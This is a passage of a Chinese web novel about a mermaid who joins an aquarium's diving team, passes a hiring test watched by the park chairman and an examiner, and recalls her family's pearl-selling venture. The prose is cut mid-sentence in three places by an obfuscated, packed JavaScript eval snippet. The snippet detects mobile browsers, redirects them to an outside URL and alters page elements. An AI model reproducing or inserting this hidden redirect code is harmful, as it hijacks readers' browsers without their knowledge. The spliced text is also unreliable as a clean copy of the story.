［哈？你以为是我不想要吗？你知道美人鱼的爆率有多低吗？你知道我们全家这个月去了多少次海洋馆吗！］ ［另外，蔚蓝海洋馆你做个人吧，立刻给我提高美人鱼姐姐们的票根爆率好吗！］ ［我真的不愿意再抽到这张锤头鲨了，呜呜呜］ 楼主的悲伤溢于言表。 ［楼主我和你换吧，我抽到了好多张重复的翻车鱼］ ［真的吗，我来私你，我还没有抽到翻车鱼］ 于是评论区迅速发展成为了大家交换重复票根的大型聚集地。 * 关于近期网上蔚蓝海洋馆特殊票根的热议，青南旅游度假区的媒体部快速监测到了这波舆情。 第二天一早，舆情分析报告就已经递到了郭长宇的桌上。 秘书把报告送到郭长宇办公室内时，他正与一个坐在沙发上的稀客交谈。 “青南旅游度假区的情况你也知道” “你先在大伯这里，暂时过渡一段时间” “等园区完成改组后，那才是你真正能够发挥作用的时候” “阿砺，你就当做帮大伯一个忙” 男人长手长脚，在沙发上大马金刀地坐着，体态舒朗，他看着窗外，看着一副兴趣寥寥的样子。 郭长宇好脾气地笑笑，对于这个常年不见面的侄子，他的确是不甚了解。 但谁叫人家是世界冠军呢？ 冠军嘛，有点傲气也是正常的。 “我一向野惯了，待在这里只怕做不成什么事”沙发上的年轻人缓缓抬眸直视过来。 黑白分明的眼里，竟然隐约有些不怒自威的味道。 这是不愿意待在他身边，受他管控的意思了。 也罢，郭长宇低头轻啜一口茶水。 他看到了桌面上关于蔚蓝海洋馆的那份舆情监测报告。 他抬眼又看面前这个野性难驯的年轻人。 不知道这位沉寂已久的自由潜之王，和重焕生机的美人鱼潜水队之间，能够碰撞出什么样的火花呢？ 10. 考核美人鱼 周一，入职考核日。 王国栋冷汗涔涔地靠边站在门口，心里七上八下，就好像嗓子里吞了风油精似的，一股脑儿地瓦凉到心底。 几个园区领导在观景窗外围坐成一排，翻看着蔚蓝海洋馆当月的营收情况报表。 王国栋看不惯美人鱼潜水队的那几个小姑娘很久了。 作为员工主管，所有园区职员的年终绩效考核和升迁都要从他这里过一遍。 其他的员工看到他时，或多或少都会说几句讨好的面子话，逢年过节的，几个懂事的也会提些水果礼物来。 尽管他再三“推辞”，最后那些礼品还是被“强塞”到他手中。 再加上他极会看上头的眼色，凡是领导眼风扫过的，他都暗暗记下，过几天再“不经意”地提起，搞得上级当真以为遇到了什么心腹知己，将很多重要的任务和人脉关系都交给了他。 他也常常以此狐假虎威，颐指气使。 不久前，新董事长空降，他更是看到了新的机遇。 老董事长是个脾气顽固的小老头，年轻时当过义务兵，一向看不惯他汲汲营营的功利样，老董事长在任上时他也一直有所收敛。 但那都是老黄历了。 老话说得好，一朝天子一朝臣！ 他王国栋从娘胎里生下来就不是个甘于屈居人下的！ 听说新董事长有意裁撤掉几个收益不高的项目，他泛着阴翳的长眼骨碌一转，那颗装满了功利的心眼子又活泛起来。 他咂摸着嘴从衣兜里掏出根烟点上，办公室里霎时弥漫起一阵烟雾。 该从谁开始呢？ 是那个对着他大呼小叫的企鹅馆教练，还是那群要求涨薪的外籍训练员。 借着园区的名义排除异己的事，他干了不知多少回。 他厚实的嘴唇里喷出一口烟雾，下巴上那颗长了毛的痦子动来动去。 说起来，蔚蓝海洋馆那群美人鱼潜水员每次看到他时都是一副瞧不上眼的表情。 怎么，他王国栋是什么很贱的人吗？ 以前老董事长看重她们，他对她们殷勤周到，有求必应。 如今世道变了，也该让她们尝尝下马威的味道了。 他拨通电话：“小李啊，这个月美人鱼潜水队的夏季补贴，迟点再送吧”。 * 周一早上九点，距离入职考核开始已经过去半个小时，王国栋才磨磨蹭蹭的来到蔚蓝海洋馆门口。 他当然是故意的。 作为员工主管，所有员工的入职考核都需要他在场评分，他不到，谅她们也不敢提前开始。 他背着手，晃晃悠悠地走到蔚蓝海洋馆门口，发现门口竟然连个迎接他的人都没有。 怎么，是知道他不会给通过，直接连表面的客套也不想维持了吗？王国栋心里冷笑。 沿着明亮的员工通道，推开大门时，他的脸上还带着点不屑的轻慢。 直到，他看见坐在考核官主位的人。 ——是董事长郭长宇。 就好像突然赤脚走到了冰面上一样，一个激灵直接沿着脊骨窜进王国栋的脑子里。 董事长怎么会在这里！！！ 他的大脑开始飞速运转，脸上的不屑与轻慢之色一瞬间消失得一干二净，甚至透出些失去血色的惨白来。 他略过后勤部上级不妙的脸色，快速看向董事长。 却见董事长好似没有看到自己似的，毫无所觉般地继续翻动着手中的报告。 再抬眼一看，这时观景窗前的评审席位都已坐满，哪里还有他的位子？ 冷汗从他的额头上簌簌冒了出来，王国栋隐约意识到，或许此后所有员工的入职考核上，都不会再有他的一席之地了。 * 潜水准备间内。 一声尖锐的哨音响起，余渝翻身下潜入水。 蔚蓝海洋馆的美人鱼考核标准包括静态闭气、竖直踩水、无脚蹼游泳和水下急救。 前三项余渝都是十拿九稳，唯有这最后一项…… 余渝转头看向身侧与她一同下潜的男人。 他戴着面镜，鼻子以上被遮得严严实实。 一身轻薄贴身的黑色潜水服凸显出男人起伏有致的肌肉线条，余渝的眼神不经意似地从男人劲瘦的腰肢上划过，暗道一声罪过罪过。 人鱼族自古以体态健美为美，毕竟在追求极致力量与速度的深海，出众的身体素质代表着更多的食物和更多活下去的可能。 在每十年一次的月引潮汐之夜，求偶的雄性人鱼都会向雌性展示自己的好身材，如果雌性人鱼恰好也欣赏这位雄性人鱼，就会牵起他的手，他们会一起游到珊瑚海，孕育下一代。 虽说时代在进步，人鱼族现在也开始向人类一样追求日久生情，但骨子里对健美体格的爱好审美却始终没有变过。 余渝自然也不能免俗。 余光中，观景窗外那位居中的考官抬头，与她对视一眼。 没想到一个小小潜水员的入职考核，竟真能把董事长这尊大佛吸引来。 少女笑弯眉眼。 这可真是——合她心意。 * 今天一早，美人鱼三人组正在潜水准备间进行最后的计划复盘。 随着写真票根的爆火，她们的“拯救美人鱼”计划已经成功了90%。 说实话，三人从没想过这小小的票根竟有如此大的魅力。 不仅吸引来了从前的美人鱼粉丝，之后更是连从未来过青南的外地游客也带着打卡的心情来到了青南海洋馆。 按照三人原本的计划，只要这个月底之前特殊票根的销售额能够达到五百张，就已经算是相当成功了。 没想到这个月底结算时，统计表格里那个大大的三千九百二十七还是震撼了她们。 三千九百多张门票啊，要知道蔚蓝海洋馆淡季的每月入馆人次也不过才五千左右。 即使排除掉少数游客为了集卡反复购票的票额，这个数字也足够惊人了。 看到这个数字时，一向感性的爱丽甚至偷偷红了眼眶。 借此一事，爱丽顺势请求馆长在入职考核时能够把这份报告放在考官们的桌前。 馆长陈岚毫不犹豫地同意了，她二十一岁就来到青南旅游度假区工作，如今已是她成为蔚蓝海洋馆长的第三个年头。 她一直在关注着国际先进水族馆的发展建设，也曾到全球最大的水族馆交流学习。 陈岚一直都想要打造一个能持续吸引游客、有竞争力、有独特风格的水族馆，十分看好美人鱼潜水队的未来。 现在，她要借着写真票根热销的势头，一改美人鱼潜水队的颓势，顺便杀一杀王国栋带起的邪风。 “加油”，陈岚希望经此一役，美人鱼潜水队也能重焕生机。 爱丽深深鞠了一躬。 回到潜水办公室，爱丽从抽屉里拿出尘封已久的的相框，照片里五六个穿着鱼尾的年轻姑娘亲昵地靠在一起，一排地坐在泳池边。 回忆起曾经亲如一家的美人鱼潜水队，回忆起那些离开的朋友们，爱丽看着照片，一个人沉默了很久。 曾经的已然逝去。 未来，难道真的要来了吗？ * 第二天一早，趁着余渝和图兰正在准备间进行热身，爱丽布置好考核现场。 图兰作为安全员兼裁判，会与余渝一同下水，并会在急救考核时扮演溺水者。 在初级美人鱼考试时，爱丽就发现了余渝的不同。 或许这世上有人真的天生就会潜水，少女的闭气能力拔尖不说，难能可贵的是她在水中独一份的自然感和平和感。 人类天性中就有对水的恐惧。 可余渝在水下表演时，大家都能真切地感受到她发自内心的适然快乐。 是因为少女在海边长大的原因吗？她与海洋之间似乎天生有一种契合感。 这可真是让人嫉妒的天赋。 总之，爱丽并不担心余渝的潜水技巧考核。 今天最重要的，是评审席上的这场不见血的交锋。 美人鱼潜水队必须从王国栋那里夺回话语权，同时让他打消裁撤美人鱼潜水队的想法。 余渝和图兰已经做了她们能做的一切，现在是她这个队长发挥作用的时候了。 她不会让朋友们失望。 “咔哒”一声，考核室的门被打开。 爱丽抬头望去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337936|183406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开门的竟是个高大英挺的年轻男人，他面无表情，眼瞳黑得吓人，气质极冷，无端让人想起西伯利亚的夹杂着雪粒子的寒风。 一头黑色短发，似乎精心修剪过，看上去就像欧美杂志里的男模似的。 他穿着一身版型挺廓的黑色冲锋衣，脚下是一双黑色军靴，并非是员工服装。 “等等，今天早上是考核日，游客不能进……” 跟在男人身后，董事长走了进来……等等那是董事长！ 爱丽不敢置信地瞪大了眼睛。 但这还不算完，一连串只在官网上见过样子的园区领导跟在董事长身后鱼贯而入。 “爱丽，快去再多准备些椅子”最后一个进来的陈岚悄声嘱咐道。 爱丽还恍如身在梦里，闻言点点头赶紧去休息室搬来闲置的所有椅子，让领导们都勉强坐下。 这时董事长的秘书突然气喘吁吁地赶到，他似乎也对董事长突然改变行程出现在蔚蓝海洋馆十分意外，赶忙接过爱丽手中的水壶，为领导们倒上茶水。 爱丽只得退到最角落，眼睁睁地看着领导们跟随着董事长拿起桌上关于写真票根的书面报告，一面翻动一面窃窃私语。 对了，那个年轻人也同她一道站在最角落的阴影中，沉默地打量着观察窗内来回游动的鱼群。 她也开始端详起鱼群中那只胖胖的豹纹鲨，“这条鱼的确太胖了”，竟引得男人眼也不眨地盯着看。 终于，在一阵令人不安的静默中，董事长终于发话： “先开始实习潜水员的考核吧” “阿砺，你来做考官” 他回头看向爱丽身侧的男人。 考官？？！ 这个长得跟个明星似的男人竟也是个潜水员？ 爱丽突然意识到这男人或许正是董事长带来测试美人鱼潜水队的试刀石，不免开始替余渝揪心起来。 她和图兰入职的时候何曾见过那么大的阵仗？ 别说董事长和这一群园区高层了，连馆长都很少来看，请外人来做考官更是前所未有的事。 爱丽的心简直快要从嗓子眼里蹦出来，生怕园长下一句话就是让美人鱼潜水队原地解散。 正当她有些不知所措时，男人点了点头。 男人转头看向她,"你好，潜水准备间怎么走"，通向准备间的员工通道位置隐蔽，常人很难找到。 爱丽知道现在不是愣神的时候，脸上勉强挤出个僵硬的微笑，带着男人离开考核现场，来到准备间。 男人身量极高，步子也迈得大。 疾步走在她身后时，几乎快要给人一种……他简直迫不及待地想要去到准备间的感觉。 爱丽尽力忽略这种异样的感觉，努力加快步伐，不过短短几分钟，她来到准备间门口时，却已经产生了一种蚂蚁竞走了十年的疲惫感。 她推开大门，在外间的更衣室给男人找到一件最大码的男士潜水服，男人看了看尺码，沉默了一瞬，还是伸手接下。 几分钟后，男人换好潜水服走出更衣室。 爱丽：“……” 她只是突然觉得，这潜水服的尺码还是小了些。 这衣服穿在这家伙身上，竟比什么都不穿还要显眼，极尽贴身的布料把他全身的肌肉线条都勾勒得一清二楚。 男人有些不适地抬了抬臂膀，似乎腋下有些稍紧，一瞬间，每一条贲张有力的肌肉线条都狰狞地起伏起来，仿佛蕴含着磅礴的力量。 但是，这样的力量美是原始而健康的，并不使人感到野蛮、膨胀和臃肿。 像深海中游动的黑鲨，每一条肌肉都蓬勃有力，再多一丝一毫都显得赘余。 这是常年高强度、甚至接近于苦修的健身训练，才能留下的印记。 这人若真是潜水员，相比定是个深藏不露的高手。 余渝能否能够通过他的测试呢？ 哎，这是爱丽今天不知道第多少次叹气。 她走到准备间门前，深吸一口气—— 背后突然也传来一声明显的，深吸气的声音。 ？ 不是，帅哥你紧张个啥啊？ 爱丽尽力忽略掉这股异样感。 她推开准备间大门。 11. 皎月美人鱼 爱丽走到准备间门前。 她深吸一口气—— 突然，背后突然也传来一声明显的、深吸气的声音。 ？ 帅哥你紧张个啥？ 爱丽尽力忽略掉这种异样的感觉。 她推开准备间大门。 准备间里，余渝已经穿好鱼尾坐在池边，图兰半蹲在她身旁，把贝壳发卡固定在余渝的蓝色假发上。 听到开门声响，两人不约而同地看了过来。 “哇——” 是前天那个一个人来的游客。 唔～ 屁股好翘哦。 余渝发出没出息的感叹，脑子里开始出现一些□□的画面，却又立刻被图兰的眼刀刹住，怯怯缩头。 她没志气地努努嘴，继续龇牙咧嘴地固定着头上尖锐的发卡，心想：看到身材这么好的大帅哥斯哈斯哈一下也不犯法嘛。 诶？不对。 他不是游客吗，怎么到准备间来了？ 余渝丝毫没注意到，这位大帅哥眼神不经意似地扫过自己，快速撇开，嘴角掀起一丝不明显的弧度又快速压住，没隔几秒又忍不住看向她，最终低头垂眸，羞红了耳垂。 爱丽心有挂碍，图兰盯着余渝，一时间都没注意到男人的异常。 “这位是——”爱丽突然意识到还没来得及询问考官的姓名。 “方砺”男人迅速出声，似乎也觉得这样显得自己有些急切了，他懊悔地轻抿了一下唇，偷偷看了一眼蓝发少女的反应。 看到余渝仍旧皱着眉和假发斗争、毫无反应的模样，即便早有预料，心下还是不免划过几分黯然。 像是吹进窗的淋淋细雨，那些深藏的喜悦和庆幸被渐渐浇灭，冒出点失落味道的灰烟。 “这位方…教练，是董事长带来的考官，今天会负责余渝的入职考核”爱丽知道这估计不是什么好消息。 “哈？董事长？！”图兰忍不住惊呼。 “董事长带着一群领导来了，他们正在楼下评审席，要一起参与考核评审”爱丽艰难地告诉朋友们这个炸弹一样的消息。 余渝好不容易从疯狂打结的假发里逃脱出来，听到董事长来了，反应却是淡淡的，像是早有预料的样子。 余渝的确有计划钓来一只大鱼，只是没想到会是董事长这么大的。 爱丽和图兰不免有些诧异。 察觉到两人的眼神，余渝嘟囔着开口： “董事长来了，那个讨厌的员工主管不就可以乖乖闭嘴了吗” 余渝抬头，不谙世事的少女模样，却说着“让人闭嘴”这种话，脸上五分天真，五分残忍。 此刻余渝身上那种隐约的兽性终于冒出了头。 任是多么可爱无辜的面孔，也没有办法掩盖住她身为海洋顶级掠食者的事实。 长生种的生命是如此漫长。 她知道如何撕扯开鲨鱼的鱼鳍，能够让它们失去游动的能力。 也知道怎样活活拧下龙虾的头颅，寻找最美味的肚腹饱餐一顿。 她同样也本能地知道，自己这张可爱的皮囊该如何微笑，才能讨到所有人类的欢喜。 就像人类喜欢猫咪，是因为猫咪虽有利爪，但它的玩乐、食物、外表乃至生命，全都在人类的一念之间。 人鱼之所以喜欢人类，不也是类似的道理吗。 暖呼呼，毛绒绒，没有尖牙利爪的人类。 在人鱼眼里，人类和猫咪有什么差异？ 余渝认可爱丽和图兰，把她们当成朋友，但不意味着她会对所有人类一视同仁。 欺负爱丽和图兰的人类，就是死了也没有关系吧。 余渝甜甜一笑。 而爱丽和图兰一时噎住，没想到还能从这个角度考虑问题。 这时爱丽突然意识到，今天在考核现场还没有见到王国栋。 “我们开始吧”爱丽听到身边的考官开口。 他将陪同余渝一起下水，观察余渝是否完成所有的动作指标，同时作为安全员，避免水下意外发生。 “考官，我准备好了”余渝摩拳擦掌，跃跃欲试，甚至躲在图兰身后，悄悄对着方砺轻眨右眼。 冷静自持的考官突然触电似的偏过头。 图兰站起身来，拿起胸前的口哨。 尖锐的哨声响起。 方砺戴上面镜，翻身入水，池水冒出一点雪白的泡花。 余渝坐在池边，把尾巴挪进池水，两手平撑岸边，利落地转身入水。 入职考核第一项，静态闭气，开始。 * 二十分钟后。 “漂亮！” 图兰忍不住欢呼。 静态闭气两分钟、竖直踩水、无脚蹼游泳考核完毕。 余渝表现完美，堪称“教科书式”的考核成果汇报。 利箭般的身影划破水面，方砺破水而出，他摘下头上的面镜，单手抹下脸上的水珠，几缕湿发垂落下来。 他仰头询问图兰这次计时的时间，明显的喉结上下滚动。 海洋馆内池水温度较低，方砺的肤色愈发冷白，屋顶明晃晃的灯光投射在水面，他高挺的眉骨在整个眼窝投下阴影。 爱丽，图兰：“……” 为什么好像看到了一只开屏的雄孔雀？ 她们站在岸边，不约而同地对视一眼。 余渝也早已回到水面，上半身趴在岸上，下半身的鱼尾在水中轻快地来回摆动，她时不时偷瞄一眼方砺的喉结，又做贼心虚似地迅速回头。 图兰立刻给余渝打上小色鬼的新标签。 ——上一个标签是小财迷。 此刻，董事长带来的紧张感已经完全消失。 而考核也仅剩最后一项：水下救援。 这是所有考核项目中变数最大、最困难的一个。 水下救援项目需要一人扮演溺水对象，在水中模拟BO（Blackout，黑视晕厥），另一人扮演救援者，手从溺水者的腋下穿过，一手捂嘴捏住口鼻，另一只手扶住后脑，带着溺水者快速上潜到水面。 这听起来简单，但如何在水下成功固定住溺水者，在长时间闭气的情况下把体重较重的溺水者托运到水面，另外还要尽力避免对溺水者的颈椎和脊柱造成二次伤害，都是考核中需要克服的难点。 如果扮演溺水者的是图兰还好些，她的体重轻一些，托举起来较为省力。 前辈二人组侧目看向方砺。 这位的话，托举起来可不容易啊。 余渝才多高，他俩站在一起，余渝指不定才够到人家胸前呢。 诶，余渝呢？ * 余渝正看着面前空无一物的墙壁，不时向左手边的考官偷偷贴近。 “多么伟大的身材啊” “多么漂亮的一张脸啊” 余渝只觉得，这家伙全身上下都长得合自己心意。 【可以把他拐到大海里养吗？】 余渝又向考官的方向看去，却猝不及防和对方扫来的眼神撞在一起。 好似触电似的，她赶忙收回了打量的眼。 却没发现，对面的考官也飞速偏过了头，睫毛轻轻颤抖，宽阔的臂膀稍稍低垂，像一只被雨打湿的大狗狗。 “余渝，你应该记得，如果没有通过考核的话，是要退回培训费用的吧？”爱丽悠悠开口。 蛇打三寸。 余渝最关心的东西，莫过于工资了。 原来白切黑才是爱丽的真面目吗？ 余渝心里默默垂泪，立刻把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337937|183406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些胡思乱想抛到脑后，决定还是先誓死捍卫自己的工资的好。 “保证完成任务”余渝指天发誓。 图兰一唱一和似的露出个冷笑，仿佛在说“真的吗？我不信”。 “百分百真话！” 图兰看着余渝咕噜噜乱转、时不时乱飘的圆眼，心里灵光得很，只怕这小姑娘贼心不死，想趁着水下救援的机会揩油人家考官。 人家清清白白一黄花大帅哥，可不能在蔚蓝海洋馆失了身啊。 “谨言慎行，知道吗”图兰意有所指。 “一定谨言，决对慎行！”余渝再三发誓。 图兰冷笑一声，吹响口哨。 方砺模拟溺水者，率先潜入水下，余渝尾随而至。 鱼缸内，光影浮动，鱼群与海龟来回游行。 方砺游动到十米深的位置，刻意放松对身体的控制，直面朝上，缓缓沉入水底。 天花板上灯影明亮，影影绰绰地穿射过水面，溶成一盘圆月。 就像六岁那年，年幼的他沉入海底。 月光皎洁，高悬天际。 初冬的海水冷得吓人，长时间的窒息和失温令他的身体完全麻木，唯有大脑还有一丝神志。 这就是濒临死亡的滋味吗？ 大海死寂无声，方砺的眼前逐渐陷入一阵黑矇。 黑暗里，视野中央突然有一点亮光闪起。 亮光逐渐凑近，宛如皎月入怀。 模糊视野里，一个纤细的人影，披着海下的磷磷月光向他游来。 姑娘肤色奶白，一双圆眼眸光璨璨。 她蓝紫相间的长发在海水中蜿蜒游荡，上身穿着一件印着哆唻a梦的雪白T恤，下身——是与发色相同的长长鱼尾，鱼尾末端的长纱随着她游动到身姿上下起伏。 她凑近拖起他。 * 余渝凑近拖起方砺。 她一只手从方砺的腋下穿过。 【熊好软哦】 【而且一手环抱不过来】 一手捏住方砺的口鼻，另一只手扶住他的后脑。 【就是有点沉啊】 余渝有些吃力，使劲摆动鱼尾，拖住方砺游动上潜。 片刻后，他们终于浮出水面，余渝放平方砺的身体，摘掉面镜，露出男人英挺的五官。 她轻轻拍打方砺瘦削的双颊，男人毫无反应，一副不愿醒来的模样。 【诶？还要考人工呼吸吗】 一般的水下救援考核，人工呼吸并不需要真实进行。 但余渝不一样，人类的矜持两个字她根本不知道该怎么写，强吻人类这种事她更是乐意得很。 她快速把男人拖带到岸边，对着他的薄唇低下了头。 “嗷！！！” 图兰眼疾手快地揪住余渝的耳朵，把她从考官的身子上拖了起来。 方砺这才“恍惚”地睁开双眼，坐起身来。 爱丽赶忙宣布考核结束。 再不结束，余渝恐怕就要生啃考官了。 “小渝，你和方教练先去换衣服吧”爱丽有意把两人分开，“半个小时后，你的考核结果就能出来了”，又给图兰使了个眼色。 图兰收到信号，眼疾手快地揽住余渝的肩膀，把一步三回头的小姑娘带回更衣室。 爱丽也立刻动身回到评委席，心怀忐忑地迎接美人鱼潜水队的未来命运。 唯有方砺站在原地，他缓缓抚过余渝触碰过的脸颊，眼睛里是止不住的笑意。 当人鱼少女又一次恋恋不舍地回头，看向那位气质冷淡的帅气考官时—— 发现那人正深深望着自己，眸光晦涩难言。 当少女轻快的眼神与他相触。 他回应似的，向她轻轻地眨了一下右眼。 12. 邻居美人鱼 “小姑娘，听说这特殊票根是你的主意？” 听到评审席上的董事长发问，余渝略带羞涩地挠了挠头顶，点点头。 嗨呀，这就要感谢爱哭的余渝爹啦。 刚刚搬回美人鱼都城上学时，余渝家里的珊瑚生意并不景气。 那段时间，余渝时常在在珊瑚田里看到默默垂泪的，鱼尾下堆满了泪珍珠的余渝爹。 人鱼族里，像余渝爹这样会哭、能哭、懂哭、爱哭、随时随地哭的人鱼可不多。 唉，要是人鱼流泪时淌出的是黄金该有多好，那余渝爹一定能成为深海第一首富！ 等等！ 流出的是黄金？ 余渝心思一动。 或许，余渝爹真能成为深海首富也不一定呢。 * 余渝开始了自己轰轰烈烈的创业生涯。 她把家里随处可见的泪珍珠统一收集起来，再找来一些砗磲和红珊瑚，也打磨成泪滴的形状，用鱼筋串成手链或项链的模样。 她又找来些沉入海底的鱼钩，挂上珍珠吊坠，这样一来平平无奇的鱼钩也能变成美丽的耳环。 月晦日的人鱼集市上，余渝家价美物廉的泪珍珠首饰很快被抢售一空。 可这样的无本生意也很快惹来了同行的眼红。 有的人鱼开始使用陆地生产的辣椒素催产泪珍珠，一时间，人鱼集市上迅速出现了各式各样的泪珍珠首饰。 “邪修！他们都是邪修！”余渝爹气愤不已，委屈巴巴地掉下眼泪，“他们的泪珍珠根本不是有感而发，一点珠光都没有！” 余渝赶忙把一只贝壳递给抽抽噎噎的余渝爹，让他及时接住所有的泪水。 余渝早料到这一步，有心安慰余渝爹，“放心吧，有一样东西，他们可仿不出来”。 余渝找到余渝妈，向她借来她这些年旅行留下的照片，又找来些透光的贝壳薄片，用人鱼的魔药把所有照片拓印在贝壳薄片上。 就像没有人类可以拒绝大胸男妈妈一样。 没有人鱼，可以拒绝幼年期的人类。 余渝把这些经过处理的贝壳薄片作为赠品，一旦在余家首饰铺消费到足够金额，就可以免费获得三张贝壳薄片。 刚开始，人鱼们以为贝壳上只是些普通的陆地风景照片，直到——有人鱼发现自己抽到的贝壳上有一只可爱的人类幼崽。 贝壳上，一只孤零零的人类幼崽抱膝坐在沙滩上，身边的铲子和小桶和他一样形单影只。 一团，小小的，人类幼崽…… 啊啊啊啊啊啊啊！ 那只幸运的人鱼发出一声尖叫，从此每天都带着那张贝壳薄片招摇过市。 越来越多的人鱼来到了余家首饰铺，越来越多的人类照片被解锁。 但是，人类幼崽的照片，却再没鱼遇到了。 正当余渝和余渝爹的首饰生意日益红火之时，余渝妈发现了不对头。 “余渝，你不能一直贩卖你爸爸的眼泪”余渝妈摸摸女儿的头，“当他意识到自己的悲伤被明码标价后，就不会再真心实意地悲伤，更不会真心实意地快乐了” 余渝歪了歪头，她现在还听不太明白，但她知道母亲总是对的，交付完剩余的所有订单后，她关闭了余家首饰铺。 虽然让余渝爹变成深海首富，自己变成富二代的梦彻底破碎了。 但这段经历，让当时尚且不知“营销“为何物的余渝初初尝到了市场的甜头。 后来她仔细复盘，思考为什么仅有一张的贝壳薄片会引起如此的浪潮？ 答案，无非就是“独一无二”四字。 【商品的稀缺性会大大拔高它本身的价值】 对余渝而言，这是她鱼生中非常重要的一课。 所以，当她来到陆地，面对美人鱼潜水队的困境时，那段和余渝爹一起拉着小摊躲城管的快乐经历立刻浮现在眼前。 美人鱼潜水队并不缺少实力和人气，她们只是缺少足够的曝光度罢了。 想明白了这一点，余渝捡起一张游客丢弃在地上的票根，垂眸沉思。 【或许，可以用这张票根作一作文章］ * 爱丽微笑着，把喜笑颜开的董事长和其他领导们一一送出海洋馆大门。 她目送所有人上车远去，脸上的笑容渐渐消失。 就像向日葵终于弯下了高昂着的笑脸，爱丽垂下头，眼泪突然止不住地涌了出来，把悄悄跟来的图兰和余渝吓了一跳。 和朋友们一手建立的美人鱼潜水队，在自己手下濒临裁撤的危机。 不仅失去了那么多朋友，连她们最后的礼物也守不住。 没人知道这段时间爱丽究竟承受了多大的心理压力。 这位永远温柔、永远真诚、永远值得依赖、被所有队员看作姐姐的美人鱼队长，终于可以卸下温柔的面具，喘一口气了。 图兰和余渝对视一眼，默契地选择不去打扰。 她们把空间留给爱丽，蹑手蹑脚地回到了员工公寓，在宿舍门口道了别。 余渝哼着歌一蹦一跳爬上楼梯，步伐像是撒着欢的小马驹。 她拿出钥匙打开房门，室内的情形还和早上离开前一模一样。 明亮的日光照进房间，窗檐下粉色的贝壳风铃发出清脆的撞击声，床头的白色水母捕梦网是余渝爹的杰作，香芋紫色的床上四件套还有些凌乱的皱痕。 客厅小小的单人沙发上有余渝的海星玩偶，里面装满了余渝辛苦收集的天然海绵。 冰箱里还有大半盒没吃完的余渝妈私房小鱼干，靠门的简易厨房里倒是一尘不染、空空如也。 余渝在用心经营自己陆地上临时的家。 她放任自己陷进软软的布艺沙发里，心里已经开始盘算起下个月的工资该怎么花了。 【第一件事，肯定是买一个手机啦！］ 上岸的人鱼们在拥有了自己的手机后，可以去上岸中介开通海陆漫游服务，海洋里的话务局人员确认订购信息后，会从人类的海底光缆牵一根长长的信号线到人鱼家，这样一来，岸上的人鱼就可以海里的家人联络了。 当然，海陆漫游服务同样价格不菲。 余渝肉疼地算了算，可能要攒好几个月的工资，才能攒足开通费呢，呜呜呜。 在海洋里，想要联系几公里外的人鱼，是需要轻轻吟唱几句大家对上频道，就可以在频道上无声交流了。 大概就像： “喂喂喂，搜索人鱼全知道频道” “嗨嗨嗨，这里是人鱼全知道频道” ——对接成功，通话转为私密。 这样的交流方式非常方便，所以即使电视、手表之类的电子产品风靡海底，但手机却一直在海洋市场打不开销路。 可陆地不行，人类听不到他们的人鱼之歌，只能通过手机相互联络。 再加上人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337938|183406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鱼上岸指南里的信息没有及时更新，余渝悲伤地发现，随着手机功能的进一步丰富，她连现金都花不出去了。 最新一版的指南于五年前出版，对手机的定义仅仅是通话工具。 没想到人类科技发展日新月异，小小一个手机，现在居然可以拍照、付款、打车、叫外卖…… 现在的人类世界，没有手机简直寸步难行。 余渝妈好不容易换来的现金，居然在陆地上花不出去。 余渝模仿虎鲸，嘤嘤假哭起来。 也许是这段时间过度劳累，如今终于放松了心弦。 余渝总觉得今天的沙发格外得软。 她抱着海星玩偶，沉沉浸入梦乡。 * 直到夕阳西垂，余渝才睡眼惺忪地坐起身来。 她摸摸脸上被印出的红痕。 ——大小形状与玩偶上的纽扣一致。 “咕噜噜” 少女空荡荡的肚子发出不满的抗议。 蔚蓝海洋馆提供的员工宿舍位于园区角落，一旁的员工食堂只在固定的时间点提供餐食。 余渝还没有正式入职，如果以外来人员的身份就餐，价格贵上不少。 但如果要去园区外的居住区就餐，大约需要坐半个小时的摆渡车，距离很远。 不会做饭的余渝只能每天默默啃余渝妈做的美味小鱼干。 可是再美味的小鱼干吃多了，也有腻味的时候。 上岸中介的考试里会培训人类厨具的使用方法。 那些厨房电器余渝当然知道该怎么用，但她做出来的东西嘛…… 余渝爹当场看到就被吓哭了呢。 怎么啦，不就是蓝色的汤汁+红色的章鱼触角+白色的鱼眼嘛。 余渝半是明媚半是忧伤地瘪瘪嘴。 这时，从隔壁的阳台上，溢出了一股浓烈的香气。 这股酸酸甜甜的味道好像有些熟悉…… 啊，是番茄！ 刚来潜水队时，图兰教练送给她了一包番茄味的薯片。 自此，余渝决定成为番茄的虔诚信徒。 茄门万岁！ 她偷偷摸摸地把阳台的推拉门打开一条缝隙，一股更加浓烈的番茄香气窜了过来。 